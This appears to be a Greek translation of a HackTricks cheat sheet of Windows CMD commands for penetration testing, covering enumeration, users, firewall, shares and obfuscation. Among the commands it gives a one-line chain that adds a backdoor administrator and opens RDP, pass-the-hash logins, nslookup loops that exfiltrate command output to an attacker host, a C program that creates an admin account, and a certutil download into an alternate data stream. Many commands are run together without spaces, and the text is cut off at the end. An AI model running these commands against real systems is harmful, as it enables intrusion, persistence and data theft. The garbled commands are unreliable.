Εργάζεστε σε μια εταιρεία κυβερνοασφάλειας; Θέλετε να δείτε την εταιρεία σας να διαφημίζεται στο HackTricks; Ή θέλετε να έχετε πρόσβαση στην τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF; Ελέγξτε τα ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ!
wmicosgetosarchitecture||echo%PROCESSOR_ARCHITECTURE%#Get architecturesysteminfosysteminfo|findstr/B/C:"OS Name"/C:"OS Version"#Get only that informationwmiccomputersystemLISTfull#Get PC infowmicqfegetCaption,Description,HotFixID,InstalledOn#Patcheswmicqfelistbrief#UpdateshostnameDRIVERQUERY#3rd party driver vulnerable?
Περιβάλλον
set#List all environment variables
Ορισμένες μεταβλητές περιβάλλοντος για να τονίσουμε:
COMPUTERNAME: Όνομα του υπολογιστή
TEMP/TMP: Φάκελος προσωρινών αρχείων
USERNAME: Το όνομα χρήστη σας
HOMEPATH/USERPROFILE: Κατάλογος αρχικού φακέλου
windir: C:\Windows
OS: Λειτουργικό σύστημα Windows
LOGONSERVER: Όνομα του ελεγκτή τομέα
USERDNSDOMAIN: Όνομα τομέα για χρήση με το DNS
USERDOMAIN: Όνομα του τομέα
nslookup%LOGONSERVER%.%USERDNSDOMAIN%#DNS request for DC
Τοποθετημένοι δίσκοι
Οι τοποθετημένοι δίσκοι αναφέρονται στους δίσκους που έχουν συνδεθεί και είναι προσβάσιμοι από το σύστημα. Μπορείτε να ελέγξετε τους τοποθετημένους δίσκους στο παρακάτω μονοπάτι:
wmic logicaldisk get caption, description, filesystem
Αυτή η εντολή θα εμφανίσει τις ετικέτες, τις περιγραφές και τα συστήματα αρχείων των τοποθετημένων δίσκων.
schtasks/query/foLIST/v#Verbose out of scheduled tasksschtasks/query/foLIST2>nul|findstrTaskNameschtasks/query/foLIST/v>schtasks.txt; catschtask.txt|grep"SYSTEM\|Task To Run"|grep-B1SYSTEMtasklist/V#List processestasklist/SVC#links processes to started servicesnetstart#Windows Services startedwmicservicelistbrief#List servicesscquery#List of servicesdir/a"C:\Program Files"#Installed softwaredir/a"C:\Program Files (x86)"#Installed softwareregqueryHKEY_LOCAL_MACHINE\SOFTWARE#Installed software
Πληροφορίες τομέα
# Get domain information
whois domain.com
# Get DNS records
nslookup domain.com
# Get MX records
nslookup -type=mx domain.com
# Get TXT records
nslookup -type=txt domain.com
# Get SPF records
nslookup -type=txt domain.com | findstr "v=spf1"
# Get DKIM records
nslookup -type=txt domain.com | findstr "v=DKIM1"
# Get DMARC records
nslookup -type=txt _dmarc.domain.com
# Generic AD infoecho%USERDOMAIN%#Get domain nameecho%USERDNSDOMAIN%#Get domain nameecho%logonserver%#Get name of the domain controllersetlogonserver#Get name of the domain controllersetlog#Get name of the domain controllergpresult/V# Get current policy appliedwmicntdomainlist/format:list#Displays information about the Domain and Domain Controllers# Usersdsqueryuser#Get all usersnetuser/domain#List all users of the domainnetuser<ACCOUNT_NAME>/domain#Get information about that usernetaccounts/domain#Password and lockout policywmic useraccount list /format:list #Displays information about all local accounts and any domain accounts that have logged into the device
wmic/NAMESPACE:\\root\directory\ldapPATHds_userGETds_samaccountname#Get all userswmic/NAMESPACE:\\root\directory\ldapPATHds_userwhere"ds_samaccountname='user_name'"GET# Get info of 1 userswmic sysaccount list /format:list # Dumps information about any system accounts that are being used as service accounts.
# Groupsnetgroup/domain#List of domain groupsnet localgroup administrators /domain #List uses that belongs to the administrators group inside the domain (the group "Domain Admins" is included here)
netgroup"Domain Admins"/domain#List users with domain admin privilegesnetgroup"domain computers"/domain#List of PCs connected to the domainnetgroup"Domain Controllers"/domain#List PC accounts of domains controllerswmicgrouplist/format:list# Information about all local groupswmic/NAMESPACE:\\root\directory\ldapPATHds_groupGETds_samaccountname#Get all groupswmic /NAMESPACE:\\root\directory\ldap PATH ds_group where "ds_samaccountname='Domain Admins'" Get ds_member /Value #Members of the group
wmic path win32_groupuser where (groupcomponent="win32_group.name="domain admins",domain="DOMAIN_NAME"") #Members of the group
# Computersdsquerycomputer#Get all computersnetview/domain#Lis of PCs of the domainnltest/dclist:<DOMAIN>#List domain controllerswmic/NAMESPACE:\\root\directory\ldapPATHds_computerGETds_samaccountname#All computerswmic/NAMESPACE:\\root\directory\ldapPATHds_computerGETds_dnshostname#All computers# Trust relationsnltest/domain_trusts#Mapping of the trust relationships# Get all objects inside an OUdsquery*"CN=Users,DC=INLANEFREIGHT,DC=LOCAL"
Αρχεία καταγραφής και συμβάντα
Οι αρχείο καταγραφής (logs) και τα συμβάντα (events) αποτελούν σημαντικά εργαλεία για τους πεντεστέρς. Τα logs καταγράφουν πληροφορίες σχετικά με τις δραστηριότητες του συστήματος, ενώ τα events αναφέρονται σε συγκεκριμένες ενέργειες που έχουν λάβει χώρα.
Οι logs και τα events μπορούν να παρέχουν πολύτιμες πληροφορίες για την ανίχνευση και την ανάλυση ευπαθειών στο σύστημα. Οι πεντεστέρς μπορούν να εξετάσουν αυτά τα δεδομένα για να εντοπίσουν ενδείξεις κακόβουλων ενεργειών, ανεπιθύμητων προσπαθειών πρόσβασης ή άλλων ασφαλειακών προβλημάτων.
Οι πεντεστέρς μπορούν να χρησιμοποιήσουν εργαλεία όπως το Event Viewer για να παρακολουθήσουν τα logs και τα events σε ένα σύστημα Windows. Επίσης, μπορούν να αναζητήσουν συγκεκριμένες λέξεις-κλειδιά ή πρότυπα στα logs για να εντοπίσουν ανωμαλίες ή επιθέσεις.
Είναι σημαντικό για τους πεντεστέρς να είναι εξοικειωμένοι με την ανάλυση των logs και των events, καθώς αυτό μπορεί να τους βοηθήσει να ανακαλύψουν ευπάθειες και να προστατεύσουν το σύστημα από επιθέσεις.
#Make a security query using another credentialswevtutilqesecurity/rd:true/f:text/r:helpline/u:HELPLINE\zachary/p:0987654321
Χρήστες
Εντολές
Για να δείτε τους χρήστες που υπάρχουν στο σύστημα, εκτελέστε την εντολή:
net user
Για να δείτε πληροφορίες για έναν συγκεκριμένο χρήστη, εκτελέστε την εντολή:
net user <username>
Για να δημιουργήσετε έναν νέο χρήστη, εκτελέστε την εντολή:
net user <username> <password> /add
Για να αλλάξετε τον κωδικό πρόσβασης ενός χρήστη, εκτελέστε την εντολή:
net user <username> <new_password>
Για να αλλάξετε το όνομα ενός χρήστη, εκτελέστε την εντολή:
net user <old_username> <new_username> /domain
Για να διαγράψετε έναν χρήστη, εκτελέστε την εντολή:
net user <username> /delete
Ομάδες
Εντολές
Για να δείτε τις ομάδες που υπάρχουν στο σύστημα, εκτελέστε την εντολή:
net localgroup
Για να δείτε τα μέλη μιας συγκεκριμένης ομάδας, εκτελέστε την εντολή:
net localgroup <groupname>
Για να προσθέσετε έναν χρήστη σε μια ομάδα, εκτελέστε την εντολή:
net localgroup <groupname> <username> /add
Για να αφαιρέσετε έναν χρήστη από μια ομάδα, εκτελέστε την εντολή:
net localgroup <groupname> <username> /delete
#Mewhoami/all#All info about me, take a look at the enabled tokenswhoami/priv#Show only privileges# Local usersnetusers#All usersdir/b/ad"C:\Users"netuser%username%#Info about a user (me)netaccounts#Information about password requirementswmicUSERACCOUNTGetDomain,Name,Sidnetuser/add [username] [password] #Create user# Other users loogedqwinsta#Anyone else logged in?#Lauch new cmd.exe with new creds (to impersonate in network)runas/netonly/user<DOMAIN>\<NAME>"cmd.exe"::Thepasswordwillbeprompted#Check current logon session as administrator using logonsessions from sysinternalslogonsessions.exelogonsessions64.exe
Ομάδες
Οι ομάδες στο λειτουργικό σύστημα Windows είναι συλλογές χρηστών που μοιράζονται κοινά δικαιώματα και προνόμια. Οι ομάδες χρησιμοποιούνται για την οργάνωση και τη διαχείριση των χρηστών σε ένα σύστημα. Κάθε χρήστης ανήκει σε μία ή περισσότερες ομάδες, και μπορεί να έχει δικαιώματα και προνόμια που έχουν οριστεί για αυτές τις ομάδες.
Οι ομάδες μπορούν να χρησιμοποιηθούν για την εφαρμογή πολιτικών ασφαλείας, τον περιορισμό των προνομίων χρηστών και την οργάνωση των δικαιωμάτων πρόσβασης σε αρχεία και φακέλους. Οι περισσότερες εγκατεστημένες εφαρμογές και υπηρεσίες στο σύστημα Windows έχουν τις δικές τους ομάδες χρηστών, οι οποίες χρησιμοποιούνται για την απομόνωση και την ασφάλεια των διαδικασιών.
#Localnetlocalgroup#All available groupsnetlocalgroupAdministrators#Info about a group (admins)netlocalgroupadministrators [username] /add #Add user to administrators#Domainnetgroup/domain#Info about domain groupsnetgroup/domain<domain_group_name>#Users that belongs to the group
To list active sessions in Windows, you can use the query session command. This command will display information about each active session, including the session ID, username, and session state.
C:\> query session
This will output a table with the session details, such as:
### Πολιτική Κωδικών Πρόσβασης
Η πολιτική κωδικών πρόσβασης είναι ένα σημαντικό μέτρο ασφαλείας που πρέπει να εφαρμόζεται σε ένα σύστημα. Οι παρακάτω οδηγίες παρέχουν μια βάση για τη δημιουργία μιας ισχυρής πολιτικής κωδικών πρόσβασης:
- Οι κωδικοί πρόσβασης πρέπει να είναι μακριοί και πολύπλοκοι. Χρησιμοποιήστε συνδυασμό κεφαλαίων και πεζών γραμμάτων, αριθμών και ειδικών χαρακτήρων.
- Απαιτήστε την αλλαγή κωδικού πρόσβασης σε τακτά χρονικά διαστήματα.
- Απαγορεύστε τη χρήση εύκολα μαντεύσιμων κωδικών πρόσβασης, όπως το όνομα του χρήστη ή την ημερομηνία γέννησης.
- Απαγορεύστε την επαναχρησιμοποίηση παλαιότερων κωδικών πρόσβασης.
- Ενεργοποιήστε τον αυτόματο κλείδωμα λογαριασμού μετά από πολλαπλές αποτυχημένες προσπάθειες σύνδεσης.
- Περιορίστε τον αριθμό των αποτυχημένων προσπαθειών σύνδεσης πριν από τον αυτόματο κλείδωμα του λογαριασμού.
- Απαιτήστε τη χρήση διαφορετικών κωδικών πρόσβασης για διάφορες υπηρεσίες ή λειτουργίες.
- Ενθαρρύνετε τους χρήστες να αναφέρουν αμέσως τυχόν υποψίες για διαρροή κωδικών πρόσβασης.
Ακολουθώντας αυτές τις οδηγίες, μπορείτε να δημιουργήσετε μια ισχυρή πολιτική κωδικών πρόσβασης που θα βοηθήσει στην προστασία του συστήματός σας από ανεπιθύμητη πρόσβαση.
net accounts
### Διαπιστευτήρια
Credentials are the usernames and passwords that are used to authenticate and authorize access to various systems and services. In the context of hacking, obtaining credentials is a crucial step as it allows the attacker to gain unauthorized access to a target system or network.
There are several techniques that hackers use to obtain credentials, including:
- **Phishing**: This involves tricking the target into revealing their credentials by posing as a legitimate entity, such as a bank or an email provider.
- **Brute-forcing**: In this technique, the attacker systematically tries all possible combinations of usernames and passwords until the correct credentials are found.
- **Keylogging**: Keyloggers are malicious software or hardware that record the keystrokes of a user, allowing the attacker to capture their credentials.
- **Credential stuffing**: This technique involves using a list of previously leaked credentials to try and gain access to other accounts where the user has reused the same username and password.
- **Social engineering**: This technique relies on manipulating individuals into revealing their credentials through psychological manipulation or deception.
It is important for individuals and organizations to implement strong security measures to protect their credentials, such as using unique and complex passwords, enabling multi-factor authentication, and regularly monitoring for any signs of unauthorized access.
```bash
cmdkey /list #List credential
vaultcmd /listcreds:"Windows Credentials" /all #List Windows vault
rundll32 keymgr.dll, KRShowKeyMgr #You need graphical access
Μόνιμη παραμονή με χρήστες
Η μόνιμη παραμονή είναι μια τεχνική που χρησιμοποιείται από χάκερς για να διατηρήσουν την πρόσβαση σε ένα σύστημα για μεγάλο χρονικό διάστημα. Μπορεί να επιτευχθεί με τη δημιουργία ενός νέου λογαριασμού χρήστη με δικαιώματα διαχειριστή ή με την εκμετάλλευση ενός υπάρχοντος λογαριασμού χρήστη.
Για να δημιουργήσετε ένα νέο λογαριασμό χρήστη με δικαιώματα διαχειριστή, μπορείτε να χρησιμοποιήσετε την εντολή net user στο παράθυρο εντολών. Για παράδειγμα, η εντολή net user hacker password123 /add θα δημιουργήσει ένα νέο λογαριασμό με το όνομα "hacker" και τον κωδικό πρόσβασης "password123".
Για να εκμεταλλευτείτε έναν υπάρχοντα λογαριασμό χρήστη, μπορείτε να χρησιμοποιήσετε την εντολή net localgroup administrators hacker /add για να προσθέσετε τον λογαριασμό "hacker" στην ομάδα διαχειριστών.
Αφού έχετε δημιουργήσει ή εκμεταλλευτεί έναν λογαριασμό χρήστη με δικαιώματα διαχειριστή, μπορείτε να χρησιμοποιήσετε αυτόν τον λογαριασμό για να διατηρήσετε την πρόσβαση στο σύστημα, ακόμα και αν οι αρχικοί λογαριασμοί χρηστών αλλάξουν ή διαγραφούν.
# Add domain user and put them in Domain Admins groupnetuserusernamepassword/ADD/DOMAINnetgroup"Domain Admins"username/ADD/DOMAIN# Add local user and put them local Administrators groupnetuserusernamepassword/ADDnetlocalgroupAdministratorsusername/ADD# Add user to insteresting groups:netlocalgroup"Remote Desktop Users"UserLoginName/addnetlocalgroup"Debugger users"UserLoginName/addnetlocalgroup"Power users"UserLoginName/add
Δίκτυο
Διεπαφές, Διαδρομές, Θύρες, Κόμβοι και DNSCache
ipconfig/all#Info about interfacesrouteprint#Print available routesarp-a#Know hostsnetstat-ano#Opened ports?typeC:\WINDOWS\System32\drivers\etc\hostsipconfig/displaydns|findstr"Record"|findstr"Name Host"
Τείχος Προστασίας (Firewall)
Ένα τείχος προστασίας (firewall) είναι ένα λογισμικό ή υλικού που χρησιμοποιείται για να προστατεύσει ένα δίκτυο από ανεπιθύμητη πρόσβαση. Οι τείχοι προστασίας μπορούν να περιορίσουν την εισερχόμενη και εξερχόμενη κίνηση δεδομένων, ελέγχοντας τις συνδέσεις που επιτρέπονται ή απορρίπτονται βάσει κανόνων που έχουν οριστεί.
Για να ελέγξετε την κατάσταση του τείχους προστασίας στα Windows, μπορείτε να χρησιμοποιήσετε την εντολή netsh advfirewall show allprofiles. Αυτή η εντολή θα εμφανίσει τις τρέχουσες ρυθμίσεις του τείχους προστασίας για όλα τα προφίλ (δημόσιο, ιδιωτικό, επιχειρησιακό).
Για να ενεργοποιήσετε ή να απενεργοποιήσετε τον τείχος προστασίας, μπορείτε να χρησιμοποιήσετε τις εντολές netsh advfirewall set allprofiles state on και netsh advfirewall set allprofiles state off αντίστοιχα.
Επιπλέον, μπορείτε να προσθέσετε ή να αφαιρέσετε εξαιρέσεις από τον τείχος προστασίας χρησιμοποιώντας τις εντολές netsh advfirewall firewall add rule και netsh advfirewall firewall delete rule. Αυτές οι εντολές σας επιτρέπουν να ορίσετε κανόνες για την επιτρεπόμενη ή απορριπτόμενη κίνηση δεδομένων με βάση την πηγή, τον προορισμό, τη θύρα και άλλα χαρακτηριστικά.
netshfirewallshowstate# FW info, open portsnetshadvfirewallfirewallshowrulename=allnetshfirewallshowconfig# FW infoNetshAdvfirewallshowallprofilesNetShAdvfirewallsetallprofilesstateoff#Turn OffNetShAdvfirewallsetallprofilesstateon#Trun Onnetshfirewallsetopmodedisable#Turn Off#How to open portsnetshadvfirewallfirewalladdrulename="NetBIOS UDP Port 138"dir=outaction=allowprotocol=UDPlocalport=138netshadvfirewallfirewalladdrulename="NetBIOS TCP Port 139"dir=inaction=allowprotocol=TCPlocalport=139netshfirewalladdportopeningTCP3389"Remote Desktop"#Enable Remote Desktopreg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netshfirewalladdportopeningTCP3389"Remote Desktop"::netsh firewallsetserviceremotedesktopenable#I found that this line is not needed::sc configTermServicestart=auto#I found that this line is not needed::net startTermservice#I found that this line is not needed#Enable Remote Desktop with wmicwmicrdtogglewhereAllowTSConnections="0"callSetAllowTSConnections"1"##orwmic/node:remotehostpathWin32_TerminalServiceSettingwhereAllowTSConnections="0"callSetAllowTSConnections"1"#Enable Remote assistance:regadd“HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer”/vfAllowToGetHelp/tREG_DWORD/d1/fnetshfirewallsetserviceremoteadminenable#Ninja combo (New Admin User, RDP + Rassistance + Firewall allow)net user hacker Hacker123! /add & net localgroup administrators hacker /add & net localgroup "Remote Desktop Users" hacker /add & reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f & reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fAllowToGetHelp /t REG_DWORD /d 1 /f & netsh firewall add portopening TCP 3389 "Remote Desktop" & netsh firewall set service remoteadmin enable
::Connect toRDP (using hashorpassword)xfreerdp/u:alice/d:WORKGROUP/pth:b74242f37e47371aff835a6ebcac4ffe/v:10.11.1.49xfreerdp/u:hacker/d:WORKGROUP/p:Hacker123!/v:10.11.1.49
Κοινοποιήσεις
Οι κοινοποιήσεις αναφέρονται στους κοινόχρηστους φακέλους και τους κοινόχρηστους εκτυπωτές που είναι διαθέσιμοι σε ένα σύστημα. Οι κοινόχρηστοι φάκελοι επιτρέπουν σε πολλούς χρήστες να αποκτήσουν πρόσβαση και να μοιραστούν αρχεία σε ένα δίκτυο. Οι κοινόχρηστοι εκτυπωτές επιτρέπουν σε πολλούς χρήστες να εκτυπώνουν από έναν κοινό εκτυπωτή.
Για να εμφανίσετε τις κοινοποιήσεις σε ένα σύστημα Windows, μπορείτε να χρησιμοποιήσετε την εντολή net share. Αυτή η εντολή θα εμφανίσει τη λίστα των κοινοποιήσεων, καθώς και τα ονόματα και τα μονοπάτια των κοινόχρηστων φακέλων και εκτυπωτών.
Για να δημιουργήσετε μια νέα κοινοποίηση, μπορείτε να χρησιμοποιήσετε την εντολή net share <όνομα_κοινοποίησης>=<μονοπάτι_φακέλου>. Αυτή η εντολή θα δημιουργήσει μια νέα κοινοποίηση με το όνομα που καθορίζετε και το μονοπάτι του φακέλου που θέλετε να κοινοποιήσετε.
Για να καταργήσετε μια κοινοποίηση, μπορείτε να χρησιμοποιήσετε την εντολή net share <όνομα_κοινοποίησης> /delete. Αυτή η εντολή θα καταργήσει την κοινοποίηση με το όνομα που καθορίζετε.
Είναι σημαντικό να ελέγχετε τις κοινοποιήσεις σε ένα σύστημα Windows για πιθανές ευπάθειες ασφαλείας, καθώς μπορεί να παρέχουν πρόσβαση σε ευαίσθητα δεδομένα.
netview#Get a list of computersnetview/all/domain [domainname] #Shares on the domainsnetview \\computer/ALL#List shares of a computernetusex: \\computer\share#Mount the share locallynetshare#Check current shares
Wifi
Το Wifi είναι μια ασύρματη τεχνολογία δικτύωσης που επιτρέπει στις συσκευές να συνδεθούν σε ένα δίκτυο χρησιμοποιώντας ραδιοκύματα. Είναι ένα δημοφιλές μέσο για τη σύνδεση συσκευών στο διαδίκτυο και την ανταλλαγή δεδομένων. Οι επιτιθέμενοι μπορούν να εκμεταλλευτούν το Wifi για να αποκτήσουν πρόσβαση σε ευαίσθητες πληροφορίες ή να παρακολουθήσουν την κίνηση των δεδομένων. Για να προστατεύσετε το δίκτυό σας, μπορείτε να χρησιμοποιήσετε κρυπτογράφηση, ισχυρά κωδικούς πρόσβασης και άλλες μεθόδους ασφαλείας.
Το SNMP (Simple Network Management Protocol) είναι ένα πρωτόκολλο δικτύου που χρησιμοποιείται για τη διαχείριση και παρακολούθηση συσκευών σε ένα δίκτυο. Με το SNMP, μπορείτε να λαμβάνετε πληροφορίες σχετικά με την κατάσταση και την απόδοση των δικτυακών συσκευών, καθώς και να διαμορφώνετε και να ελέγχετε αυτές τις συσκευές απομακρυσμένα.
Οι επιθέσεις SNMP μπορούν να περιλαμβάνουν την ανάκτηση πληροφοριών από τις συσκευές, την τροποποίηση των ρυθμίσεων των συσκευών ή ακόμη και την αποκάλυψη ευαίσθητων πληροφοριών. Για να εκμεταλλευτείτε το SNMP, μπορείτε να χρησιμοποιήσετε εργαλεία όπως το snmpwalk για να ανακτήσετε πληροφορίες από μια συσκευή, ή το snmpset για να τροποποιήσετε τις ρυθμίσεις της.
Για να προστατεύσετε το δίκτυό σας από επιθέσεις SNMP, μπορείτε να εφαρμόσετε τις παρακάτω βασικές πρακτικές ασφαλείας:
Απενεργοποιήστε το SNMP εάν δεν το χρειάζεστε.
Χρησιμοποιήστε ισχυρές κωδικοποιήσεις κοινότητας (community strings) για την πρόσβαση στις συσκευές SNMP.
Περιορίστε την πρόσβαση στο SNMP μόνο από εξουσιοδοτημένες διευθύνσεις IP.
Ενημερώστε το λογισμικό των συσκευών σας με τις τελευταίες ενημερώσεις ασφαλείας.
Εφαρμόστε την ασφάλεια σε επίπεδο δικτύου, όπως τη χρήση VPN για ασφαλή απομακρυσμένη πρόσβαση στις συσκευές SNMP.
Ακολουθώντας αυτές τις βασικές πρακτικές ασφαλείας, μπορείτε να μειώσετε τον κίνδυνο επιθέσεων SNMP και να προστατεύσετε το δίκτυό σας από ανεπιθύμητη παρέμβαση.
Οι διεπαφές δικτύου αναφέρονται στα φυσικά ή εικονικά μέσα επικοινωνίας που χρησιμοποιούνται για τη σύνδεση με το δίκτυο. Οι διεπαφές δικτύου μπορεί να είναι ενσύρματες ή ασύρματες και παρέχουν τη δυνατότητα αποστολής και λήψης δεδομένων μέσω του δικτύου.
Για να εμφανίσετε τις διαθέσιμες διεπαφές δικτύου στο σύστημα σας, μπορείτε να χρησιμοποιήσετε την εντολή ipconfig στο παράθυρο εντολών. Η εντολή αυτή θα εμφανίσει μια λίστα με όλες τις διεπαφές δικτύου που είναι εγκατεστημένες στο σύστημά σας, συμπεριλαμβανομένων των διεπαφών Ethernet, Wi-Fi και Bluetooth.
Για να εμφανίσετε περισσότερες πληροφορίες για μια συγκεκριμένη διεπαφή δικτύου, μπορείτε να χρησιμοποιήσετε την εντολή ipconfig /all. Αυτή η εντολή θα εμφανίσει λεπτομερείς πληροφορίες για τη συγκεκριμένη διεπαφή, όπως η διεύθυνση IP, η διεύθυνση MAC, ο προεπιλεγμένος πύλη και ο DNS διακομιστής.
Επιπλέον, μπορείτε να χρησιμοποιήσετε την εντολή netsh interface show interface για να εμφανίσετε μια λίστα με όλες τις διεπαφές δικτύου και την κατάστασή τους, όπως εάν είναι ενεργοποιημένες ή απενεργοποιημένες.
Αυτές οι εντολές είναι χρήσιμες για την ανάλυση των διεπαφών δικτύου στο σύστημά σας και την επιβεβαίωση της σωστής λειτουργίας τους.
ipconfig/all
Πίνακας ARP
Ο πίνακας ARP (Address Resolution Protocol) αντιστοιχεί τις διευθύνσεις IP σε φυσικές διευθύνσεις MAC σε ένα δίκτυο. Ο πίνακας ARP αποθηκεύεται στη μνήμη του υπολογιστή και χρησιμοποιείται για την αναζήτηση της φυσικής διεύθυνσης ενός συσκευής με βάση την IP διεύθυνσή της. Αυτό επιτρέπει την αποστολή πακέτων δεδομένων στη σωστή συσκευή στο δίκτυο.
Για να εμφανίσετε τον πίνακα ARP σε ένα σύστημα Windows, μπορείτε να χρησιμοποιήσετε την εντολή arp -a στο παράθυρο εντολών (Command Prompt). Αυτή η εντολή θα εμφανίσει τις εγγραφές του πίνακα ARP, που περιλαμβάνουν τις IP διευθύνσεις και τις αντίστοιχες φυσικές διευθύνσεις MAC των συσκευών στο δίκτυο.
Το CertReq.exe είναι ένα εργαλείο γραμμής εντολών που χρησιμοποιείται για τη διαχείριση πιστοποιητικών στα Windows. Με αυτό το εργαλείο, μπορείτε να δημιουργήσετε, να εκδώσετε, να επανακτήσετε και να ανανεώσετε πιστοποιητικά.
Το certutil.exe είναι ένα εργαλείο της γραμμής εντολών που παρέχεται από τα Windows για τη διαχείριση πιστοποιητικών και κλειδιών. Μπορεί να χρησιμοποιηθεί για διάφορες λειτουργίες, όπως η εγκατάσταση, η εξαγωγή και ο έλεγχος πιστοποιητικών.
Σύνταξη
certutil [options] [arguments]
Χρήση
Ορισμένες από τις κύριες λειτουργίες του certutil.exe περιλαμβάνουν:
Αυτές είναι μερικές από τις βασικές εντολές που μπορείτε να χρησιμοποιήσετε με το certutil.exe. Μπορείτε να βρείτε περισσότερες πληροφορίες και επιλογές εντολής στην τεκμηρίωση των Windows.
cd #Get current dir
cd C:\path\to\dir #Change dir
dir #List current dir
dir /a:h C:\path\to\dir #List hidden files
dir /s /b #Recursive list without shit
time #Get current time
date #Get current date
shutdown /r /t 0 #Shutdown now
type <file> #Cat file
#Runas
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" #Use saved credentials
runas /netonly /user:<DOMAIN>\<NAME> "cmd.exe" ::The password will be prompted
#Hide
attrib +h file #Set Hidden
attrib -h file #Quit Hidden
#Give full control over a file that you owns
icacls <FILE_PATH> /t /e /p <USERNAME>:F
icacls <FILE_PATH> /e /r <USERNAME> #Remove the permision
#Recursive copy to smb
xcopy /hievry C:\Users\security\.yawcam \\10.10.14.13\name\win
#exe2bat to transform exe file in bat file
#ADS
dir /r #Detect ADS
more file.txt:ads.txt #read ADS
powershell (Get-Content file.txt -Stream ads.txt)
# Get error messages from code
net helpmsg 32 #32 is the code in that case
Παράκαμψη Αποτροπής Μαύρης Λίστας Χαρακτήρων
Όταν αντιμετωπίζετε έναν περιορισμό στην εισαγωγή συγκεκριμένων χαρακτήρων σε μια εφαρμογή, μπορείτε να χρησιμοποιήσετε την τεχνική της παράκαμψης της μαύρης λίστας χαρακτήρων για να παρακάμψετε αυτόν τον περιορισμό. Αντί να χρησιμοποιήσετε τους αποκλεισμένους χαρακτήρες, μπορείτε να χρησιμοποιήσετε αντίστοιχους χαρακτήρες που δεν βρίσκονται στη μαύρη λίστα.
Για παράδειγμα, αν ένας χαρακτήρας όπως το ; απαγορεύεται, μπορείτε να χρησιμοποιήσετε τον χαρακτήρα ; που μοιάζει παρόμοιος αλλά δεν ανιχνεύεται από τον περιορισμό. Με αυτόν τον τρόπο, μπορείτε να παρακάμψετε την αποτροπή και να εισάγετε τον απαγορευμένο χαρακτήρα στην εφαρμογή.
Είναι σημαντικό να ελέγχετε προσεκτικά τη μαύρη λίστα χαρακτήρων και να βρίσκετε αντίστοιχους χαρακτήρες που μπορούν να παρακαμφθούν. Επίσης, να λαμβάνετε υπόψη τις πιθανές επιπτώσεις της παράκαμψης της μαύρης λίστας χαρακτήρων, καθώς μπορεί να υπάρχει κίνδυνος ασφαλείας ή παραβίασης του συστήματος.
echo %HOMEPATH:~6,-11% #\
who^ami #whoami
DOSfuscation
Δημιουργεί ένα αποκρυπτογραφημένο CMD γραμμής εντολών
git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git
cd Invoke-DOSfuscation
Import-Module .\Invoke-DOSfuscation.psd1
Invoke-DOSfuscation
help
SET COMMAND type C:\Users\Administrator\Desktop\flag.txt
encoding
Ο Επιτιθέμενος (Kali) πρέπει να χρησιμοποιήσει μία από αυτές τις 2 επιλογές:
sudo responder -I <iface> #Active
sudo tcpdump -i <iface> -A proto udp and dst port 53 and dst ip <KALI_IP> #Passive
Θύμα
Τεχνική for /f tokens: Αυτό μας επιτρέπει να εκτελέσουμε εντολές, να πάρουμε τις πρώτες X λέξεις από κάθε γραμμή και να τις στείλουμε μέσω DNS στον διακομιστή μας.
for /f %a in ('whoami') do nslookup %a <IP_kali> #Get whoami
for /f "tokens=2" %a in ('echo word1 word2') do nslookup %a <IP_kali> #Get word2
for /f "tokens=1,2,3" %a in ('dir /B C:\') do nslookup %a.%b.%c <IP_kali> #List folder
for /f "tokens=1,2,3" %a in ('dir /B "C:\Program Files (x86)"') do nslookup %a.%b.%c <IP_kali> #List that folder
for /f "tokens=1,2,3" %a in ('dir /B "C:\Progra~2"') do nslookup %a.%b.%c <IP_kali> #Same as last one
#More complex commands
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('whoami /priv ^| findstr /i "enable"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali> #Same as last one
Μπορείτε επίσης να ανακατευθύνετε την έξοδο και στη συνέχεια να την διαβάσετε.
whoami /priv | finstr "Enab" > C:\Users\Public\Documents\out.txt
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('type "C:\Users\Public\Documents\out.txt"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali>
Κλήση του CMD από τον κώδικα C
Για να καλέσετε το CMD από τον κώδικα C, μπορείτε να χρησιμοποιήσετε τη συνάρτηση system(). Η συνάρτηση system() εκτελεί μια εντολή στο CMD και περιμένει μέχρι να ολοκληρωθεί η εκτέλεσή της.
Παρακάτω παρουσιάζεται ένα παράδειγμα κώδικα C που καλεί το CMD και εκτελεί την εντολή ipconfig:
Στο παραπάνω παράδειγμα, η εντολή cmd /c χρησιμοποιείται για να εκτελέσει την εντολή ipconfig στο CMD. Μπορείτε να αντικαταστήσετε την εντολή ipconfig με οποιαδήποτε άλλη εντολή CMD που θέλετε να εκτελέσετε.
Όταν εκτελέσετε τον παραπάνω κώδικα C, θα εμφανιστούν τα αποτελέσματα της εντολής ipconfig στο CMD.
#include <stdlib.h> /* system, NULL, EXIT_FAILURE */
// When executed by Administrator this program will create a user and then add him to the administrators group
// i686-w64-mingw32-gcc addmin.c -o addmin.exe
// upx -9 addmin.exe
int main (){
int i;
i=system("net users otherAcc 0TherAcc! /add");
i=system("net localgroup administrators otherAcc /add");
return 0;
}
Συνοπτικό φύλλο με Εναλλακτικά Ρεύματα Δεδομένων (ADS/Alternate Data Stream)
## Selected Examples of ADS Operations ##
### Adding Content to ADS ###
# Append executable to a log file as an ADS
type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"
# Download a script directly into an ADS
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt
### Discovering ADS Content ###
# List files and their ADS
dir /R
# Use Sysinternals tool to list ADS of a file
streams.exe <c:\path\to\file>
### Extracting Content from ADS ###
# Extract an executable stored in an ADS
